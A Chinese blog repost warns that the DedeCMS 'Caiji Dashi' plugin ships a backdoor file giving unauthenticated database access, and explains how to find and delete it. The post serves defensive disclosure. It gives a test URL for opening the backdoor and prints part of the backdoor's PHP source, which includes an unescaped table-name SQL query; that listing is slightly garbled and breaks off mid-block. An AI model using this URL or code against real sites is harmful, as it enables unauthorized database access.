我是靠谱客的博主满意篮球，最近开发中收集的这篇文章主要介绍DEDE采集大师官方留后门的删除办法，觉得挺不错的，现在分享给大家，希望可以做个参考。

概述

去除官方后门方法：安装好采集大师后，请立即删除 include目录下的dedesql.query.php文件，如已经安装过，有可能文件已被改名为arc.sqlquery.class.php，找到并删除即可。此文件可被利用来在无需登录验证的情况下查询网站数据库，并进行更新、删除、查询数据等操作。大家也可以自己测试一下是否如我所说，方法：
http://你的域名.com/include/dedesql.query.php.php?dopost=viewinfo
输入以上网址，即可打开后门界面。
说实话，会故意留后门的程序，最好的方法就是别用。这个后门被发现了，天知道下一个所谓的新版本还会不会冒出更多的后门来。此后门文件代码如下：

复制代码代码如下:

 
<?php 
require_once(dirname(__FILE__)."/../include/common.inc.php"); 
if(emptyempty($dopost)) 
{ 
$dopost = ""; 
} 
if($dopost=="rename")

if(rename('dedesql.query.php','arc.sqlquery.class.php')){ 
echo "成功！"; 
}else{ 
echo "失败！"; 
} 
exit(); 
} 
if($dopost=="viewinfo") 
{ 
if(emptyempty($tablename)) 
{ 
echo "没有指定表名！"; 
} 
else 
{ 
$dsql->SetQuery("SHOW CREATE TABLE ".$dsql->dbName.".".$tablename); 
$dsql->Execute('me'); 
$row2 = $dsql->GetArray('me',MYSQL_BOTH); 
$ctinfo = $row2[1]; 
echo "<xmp>".trim($ctinfo)."</xmp>"; 
} 
exit();
